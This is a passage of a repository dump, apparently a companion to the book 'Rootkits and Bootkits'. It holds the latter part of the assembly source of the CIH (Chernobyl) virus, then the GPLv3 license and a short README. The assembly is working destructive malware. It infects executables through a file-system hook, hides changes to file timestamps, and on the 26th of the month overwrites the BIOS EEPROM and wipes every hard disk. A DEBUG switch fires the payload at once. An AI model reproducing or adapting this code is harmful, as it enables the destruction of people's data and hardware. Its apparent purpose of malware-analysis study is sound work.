WriteVirusCodeToFile 927 | 928 | ; *************************** 929 | ; * Not Set Infected Mark * 930 | ; *************************** 931 | 932 | NotSetInfectedMark: 933 | add esp, 3ch 934 | jmp CloseFile 935 | 936 | ; *************************** 937 | ; * Set Virus Code * 938 | ; * Section Table End Mark * 939 | ; *************************** 940 | 941 | SetVirusCodeSectionTableEndMark: 942 | 943 | ; Adjust Size of Virus Section Code to Correct Value 944 | add [eax], ebp 945 | add [esp+08h], ebp 946 | 947 | ; Set End Mark 948 | xor ebx, ebx 949 | mov [eax-04h], ebx 950 | 951 | ; *************************** 952 | ; * When VirusGame Calls * 953 | ; * VxDCall, VMM Modifies * 954 | ; * the 'int 20h' and the * 955 | ; * 'Service Identifier' * 956 | ; * to 'Call [XXXXXXXX]'. * 957 | ; *************************** 958 | ; * Before Writing My Virus * 959 | ; * to File, I Must Restore * 960 | ; * them First. ^__^ * 961 | ; *************************** 962 | 963 | lea eax, (LastVxDCallAddress-2-@9)[esi] 964 | mov cl, VxDCallTableSize 965 | 966 | LoopOfRestoreVxDCallID: 967 | mov word ptr [eax], 20cdh 968 | mov edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi] 969 | mov [eax+2], edx 970 | movzx edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi] 971 | sub eax, edx 972 | loop LoopOfRestoreVxDCallID 973 | 974 | ; *************************** 975 | ; * Let's Write * 976 | ; * Virus Code to the File * 977 | ; *************************** 978 | 979 | WriteVirusCodeToFile: 980 | mov eax, dr1 981 | mov ebx, [eax+10h] 982 | mov edi, [eax] 983 | 984 | LoopOfWriteVirusCodeToFile: 985 | 986 | pop ecx 987 | jecxz SetFileModificationMark 988 | mov esi, ecx 989 | mov eax, 0d601h 990 | pop edx 991 | pop ecx 992 | call edi ; VXDCall IFSMgr_Ring0_FileIO 993 | jmp LoopOfWriteVirusCodeToFile 994 | 995 | ; *************************** 996 | ; * Let's Set CF = 1 ==> * 997 | ; * Need to Restore File * 998 | ; * Modification Time * 999 | ; *************************** 1000 | 1001 | SetFileModificationMark: 1002 | pop ebx 1003 | pop eax 1004 | stc ; Enable CF(Carry Flag) 1005 | pushf 1006 | 1007 | ; ************************************* 1008 | ; * Close File * 1009 | ; ************************************* 1010 | 1011 | CloseFile: 1012 | xor eax, eax 1013 | mov ah, 0d7h 1014 | call edi ; VXDCall IFSMgr_Ring0_FileIO 1015 | 1016 | ; ************************************* 1017 | ; * Need to Restore File Modification * 1018 | ; * Time !? * 1019 | ; ************************************* 1020 | 1021 | popf 1022 | pop esi 1023 | jnc IsKillComputer 1024 | 1025 | ; ************************************* 1026 | ; * Restore File Modification Time * 1027 | ; ************************************* 1028 | 1029 | mov ebx, edi 1030 | mov ax, 4303h 1031 | mov ecx, (FileModificationTime-@7)[esi] 1032 | mov edi, (FileModificationTime+2-@7)[esi] 1033 | call ebx ; VXDCall IFSMgr_Ring0_FileIO 1034 | 1035 | ; ************************************* 1036 | ; * Disable OnBusy * 1037 | ; ************************************* 1038 | 1039 | DisableOnBusy: 1040 | dec byte ptr (OnBusy-@7)[esi] ; Disable OnBusy 1041 | 1042 | ; ************************************* 1043 | ; * Call Previous FileSystemApiHook * 1044 | ; ************************************* 1045 | 1046 | prevhook: 1047 | popad 1048 | mov eax, dr0 ; 1049 | jmp [eax] ; Jump to prevhook 1050 | 1051 | ; ************************************* 1052 | ; * Call the Function that the IFS * 1053 | ; * Manager Would Normally Call to * 1054 | ; * Implement this Particular I/O * 1055 | ; * Request. * 1056 | ; ************************************* 1057 | 1058 | pIFSFunc: 1059 | mov ebx, esp 1060 | push dword ptr [ebx+20h+04h+14h] ; Push pioreq 1061 | call [ebx+20h+04h] ; Call pIFSFunc 1062 | pop ecx ; 1063 | mov [ebx+1ch], eax ; Modify EAX Value in Stack 1064 | 1065 | ; *************************** 1066 | ; * After Calling pIFSFunc, * 1067 | ; * Get Some Data from the * 1068 | ; * Returned pioreq. * 1069 | ; *************************** 1070 | 1071 | cmp dword ptr [ebx+20h+04h+04h], 00000024h 1072 | jne QuitMyVirusFileSystemHook 1073 | 1074 | ; ***************** 1075 | ; * Get the File * 1076 | ; * Modification * 1077 | ; * Date and Time * 1078 | ; * in DOS Format.* 1079 | ; ***************** 1080 | 1081 | mov eax, [ecx+28h] 1082 | mov (FileModificationTime-@6)[esi], eax 1083 | 1084 | ; *************************** 1085 | ; * Quit My Virus' * 1086 | ; * IFSMgr_FileSystemHook * 1087 | ; *************************** 1088 | 1089 | QuitMyVirusFileSystemHook: 1090 | 1091 | popad 1092 | ret 1093 | 1094 | ; ************************************* 1095 | ; * Kill Computer !? ... *^_^* * 1096 | ; ************************************* 1097 | 1098 | IsKillComputer: 1099 | ; Get Now Day from BIOS CMOS 1100 | mov al, 07h 1101 | out 70h, al 1102 | in al, 71h 1103 | xor al, 01h ; ??/26/???? 1104 | 1105 | IF DEBUG 1106 | jmp DisableOnBusy 1107 | ELSE 1108 | jnz DisableOnBusy 1109 | ENDIF 1110 | 1111 | ; ************************************** 1112 | ; * Kill Kill Kill Kill Kill Kill Kill * 1113 | ; * Kill Kill Kill Kill Kill Kill Kill * 1114 | ; * Kill Kill Kill Kill Kill Kill Kill * 1115 | ; * Kill Kill Kill Kill Kill Kill Kill * 1116 | ; * Kill Kill Kill Kill Kill Kill Kill * 1117 | ; * Kill Kill Kill Kill Kill Kill Kill * 1118 | ; * Kill Kill Kill Kill Kill Kill Kill * 1119 | ; * Kill Kill Kill Kill Kill Kill Kill * 1120 | ; * Kill Kill Kill Kill Kill Kill Kill * 1121 | ; * Kill Kill Kill Kill Kill Kill Kill * 1122 | ; * Kill Kill Kill Kill Kill Kill Kill * 1123 | ; * Kill Kill Kill Kill Kill Kill Kill * 1124 | ; * Kill Kill Kill Kill Kill Kill Kill * 1125 | ; * Kill Kill Kill Kill Kill Kill Kill * 1126 | ; * Kill Kill Kill Kill Kill Kill Kill * 1127 | ; * Kill Kill Kill Kill Kill Kill Kill * 1128 | ; * Kill Kill Kill Kill Kill Kill Kill * 1129 | ; * Kill Kill Kill Kill Kill Kill Kill * 1130 | ; ************************************** 1131 | 1132 | ; *************************** 1133 | ; * Kill BIOS EEPROM * 1134 | ; *************************** 1135 | 1136 | mov bp, 0cf8h 1137 | lea esi, IOForEEPROM-@7[esi] 1138 | 1139 | ; *********************** 1140 | ; * Show BIOS Page in * 1141 | ; * 000E0000 - 000EFFFF * 1142 | ; * ( 64 KB ) * 1143 | ; *********************** 1144 | 1145 | mov edi, 8000384ch 1146 | mov dx, 0cfeh 1147 | cli 1148 | call esi 1149 | 1150 | ; *********************** 1151 | ; * Show BIOS Page in * 1152 | ; * 000F0000 - 000FFFFF * 1153 | ; * ( 64 KB ) * 1154 | ; *********************** 1155 | 1156 | mov di, 0058h 1157 | dec edx ; and al,0fh 1158 | mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h 1159 | call esi 1160 | 1161 | ; *********************** 1162 | ; * Show the BIOS Extra * 1163 | ; * ROM Data in Memory * 1164 | ; * 000E0000 - 000E01FF * 1165 | ; * ( 512 Bytes ) * 1166 | ; * , and the Section * 1167 | ; * of Extra BIOS can * 1168 | ; * be Writted... * 1169 | ; *********************** 1170 | 1171 | lea ebx, EnableEEPROMToWrite-@10[esi] 1172 | mov eax, 0e5555h 1173 | mov ecx, 0e2aaah 1174 | call ebx 1175 | mov byte ptr [eax], 60h 1176 | push ecx 1177 | loop $ 1178 | 1179 | ; *********************** 1180 | ; * Kill the BIOS Extra * 1181 | ; * ROM Data in Memory * 1182 | ; * 000E0000 - 000E007F * 1183 | ; * ( 80h Bytes ) * 1184 | ; *********************** 1185 | 1186 | xor ah, ah 1187 | mov [eax], al 1188 | 1189 | xchg ecx, eax 1190 | loop $ 1191 | 1192 | ; *********************** 1193 | ; * Show and Enable the * 1194 | ; * BIOS Main ROM Data * 1195 | ; * 000E0000 - 000FFFFF * 1196 | ; * ( 128 KB ) * 1197 | ; * can be Writted... * 1198 | ; *********************** 1199 | 1200 | mov eax, 0f5555h 1201 | pop ecx 1202 | mov ch, 0aah 1203 | call ebx 1204 | mov byte ptr [eax], 20h 1205 | 1206 | loop $ 1207 | 1208 | ; *********************** 1209 | ; * Kill the BIOS Main * 1210 | ; * ROM Data in Memory * 1211 | ; * 000FE000 - 000FE07F * 1212 | ; * ( 80h Bytes ) * 1213 | ; *********************** 1214 | 1215 | mov ah, 0e0h 1216 | mov [eax], al 1217 | 1218 | ; *********************** 1219 | ; * Hide BIOS Page in * 1220 | ; * 000F0000 - 000FFFFF * 1221 | ; * ( 64 KB ) * 1222 | ; *********************** 1223 | ; or al,10h 1224 | mov word ptr (BooleanCalculateCode-@10)[esi], 100ch 1225 | call esi 1226 | 1227 | ; *************************** 1228 | ; * Kill All HardDisk * 1229 | ; *************************************************** 1230 | ; * IOR Structure of IOS_SendCommand Needs * 1231 | ; *************************************************** 1232 | ; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? * 1233 | ; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 * 1234 | ; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * 1235 | ; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * 1236 | ; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? * 1237 | ; *************************************************** 1238 | 1239 | KillHardDisk: 1240 | xor ebx, ebx 1241 | mov bh, FirstKillHardDiskNumber 1242 | push ebx 1243 | sub esp, 2ch 1244 | push 0c0001000h 1245 | mov bh, 08h 1246 | push ebx 1247 | push ecx 1248 | push ecx 1249 | push ecx 1250 | push 40000501h 1251 | inc ecx 1252 | push ecx 1253 | push ecx 1254 | mov esi, esp 1255 | sub esp, 0ach 1256 | 1257 | LoopOfKillHardDisk: 1258 | int 20h 1259 | dd 00100004h ; VXDCall IOS_SendCommand 1260 | cmp word ptr [esi+06h], 0017h 1261 | je KillNextDataSection 1262 | 1263 | ChangeNextHardDisk: 1264 | inc byte ptr [esi+4dh] 1265 | jmp LoopOfKillHardDisk 1266 | 1267 | KillNextDataSection: 1268 | add dword ptr [esi+10h], ebx 1269 | mov byte ptr [esi+4dh], FirstKillHardDiskNumber 1270 | jmp LoopOfKillHardDisk 1271 | 1272 | ; *************************** 1273 | ; * Enable EEPROM to Write * 1274 | ; *************************** 1275 | 1276 | EnableEEPROMToWrite: 1277 | mov [eax], cl 1278 | mov [ecx], al 1279 | mov byte ptr [eax], 80h 1280 | mov [eax], cl 1281 | mov [ecx], al 1282 | ret 1283 | 1284 | ; *************************** 1285 | ; * IO for EEPROM * 1286 | ; *************************** 1287 | 1288 | IOForEEPROM: 1289 | @10 = IOForEEPROM 1290 | 1291 | xchg eax, edi 1292 | xchg edx, ebp 1293 | out dx, eax 1294 | xchg eax, edi 1295 | xchg edx, ebp 1296 | in al, dx 1297 | 1298 | BooleanCalculateCode = $ 1299 | or al, 44h 1300 | xchg eax, edi 1301 | xchg edx, ebp 1302 | out dx, eax 1303 | xchg eax, edi 1304 | xchg edx, ebp 1305 | out dx, al 1306 | ret 1307 | 1308 | ; ********************************************************* 1309 | ; * Static Data * 1310 | ; ********************************************************* 1311 | 1312 | LastVxDCallAddress = IFSMgr_Ring0_FileIO 1313 | VxDCallAddressTable db 00h 1314 | db IFSMgr_RemoveFileSystemApiHook-_PageAllocate 1315 | db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook 1316 | db IFSMgr_Ring0_FileIO-UniToBCSPath 1317 | VxDCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h 1318 | VxDCallTableSize = ($-VxDCallIDTable)/04h 1319 | 1320 | ; ********************************************************* 1321 | ; * Virus Version Copyright * 1322 | ; ********************************************************* 1323 | 1324 | VirusVersionCopyright db 'WinCIH ver 1.5 by TATUNG, Thailand' 1325 | 1326 | ; ********************************************************* 1327 | ; * Virus Size * 1328 | ; ********************************************************* 1329 | 1330 | VirusSize = $ 1331 | ; + SizeOfVirusCodeSectionTableEndMark(04h) 1332 | ; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h) 1333 | ; + SizeOfTheFirstVirusCodeSectionTable(04h) 1334 | 1335 | ; ********************************************************* 1336 | ; * Dynamic Data * 1337 | ; ********************************************************* 1338 | 1339 | VirusGameDataStartAddress = VirusSize 1340 | @6 = VirusGameDataStartAddress 1341 | OnBusy db 0 1342 | FileModificationTime dd ? 1343 | 1344 | FileNameBuffer db FileNameBufferSize dup(?) 1345 | @7 = FileNameBuffer 1346 | 1347 | DataBuffer = $ 1348 | @8 = DataBuffer 1349 | NumberOfSections dw ? 1350 | TimeDateStamp dd ? 1351 | SymbolsPointer dd ? 1352 | NumberOfSymbols dd ? 1353 | SizeOfOptionalHeader dw ? 1354 | _Characteristics dw ? 1355 | Magic dw ? 1356 | LinkerVersion dw ? 1357 | SizeOfCode dd ? 1358 | SizeOfInitializedData dd ? 1359 | SizeOfUninitializedData dd ? 1360 | AddressOfEntryPoint dd ? 1361 | BaseOfCode dd ? 1362 | BaseOfData dd ? 1363 | ImageBase dd ? 1364 | @9 = $ 1365 | SectionAlignment dd ? 1366 | FileAlignment dd ? 1367 | OperatingSystemVersion dd ? 1368 | ImageVersion dd ? 1369 | SubsystemVersion dd ? 1370 | Reserved dd ? 1371 | SizeOfImage dd ? 1372 | SizeOfHeaders dd ? 1373 | SizeOfImageHeaderToRead = $-NumberOfSections 1374 | NewAddressOfEntryPoint = DataBuffer ; DWORD 1375 | SizeOfImageHeaderToWrite= 04h 1376 | StartOfSectionTable = @9 1377 | SectionName = StartOfSectionTable ; QWORD 1378 | VirtualSize = StartOfSectionTable+08h ; DWORD 1379 | VirtualAddress = StartOfSectionTable+0ch ; DWORD 1380 | SizeOfRawData = StartOfSectionTable+10h ; DWORD 1381 | PointerToRawData = StartOfSectionTable+14h ; DWORD 1382 | PointerToRelocations = StartOfSectionTable+18h ; DWORD 1383 | PointerToLineNumbers = StartOfSectionTable+1ch ; DWORD 1384 | NumberOfRelocations = StartOfSectionTable+20h ; WORD 1385 | NumberOfLinenNmbers = StartOfSectionTable+22h ; WORD 1386 | Characteristics = StartOfSectionTable+24h ; DWORD 1387 | SizeOfScetionTable = Characteristics+04h-SectionName 1388 | 1389 | ; ********************************************************* 1390 | ; * Virus Total Need Memory * 1391 | ; ********************************************************* 1392 | 1393 | VirusNeedBaseMemory = $ 1394 | VirusTotalNeedMemory = @9 1395 | ; + NumberOfSections(??)*SizeOfScetionTable(28h) 1396 | ; + SizeOfVirusCodeSectionTableEndMark(04h) 1397 | ; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h) 1398 | ; + SizeOfTheFirstVirusCodeSectionTable(04h) 1399 | ; ********************************************************* 1400 | 1401 | VirusGame ENDS 1402 | END FileHeader 1403 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. 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Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | {one line to give the program's name and a brief idea of what it does.} 635 | Copyright (C) {year} {name of author} 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | {project} Copyright (C) {year} {fullname} 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | #### Rootkits and Bootktis: Reversing Modern Malware and Next Generation Threats 2 | by [@matrosov](https://github.com/matrosov), [@rodionov](https://github.com/rodionov) and [@sergeybratus](https://github.com/sergeybratus) 3 | --------------------------------------------------------------------------------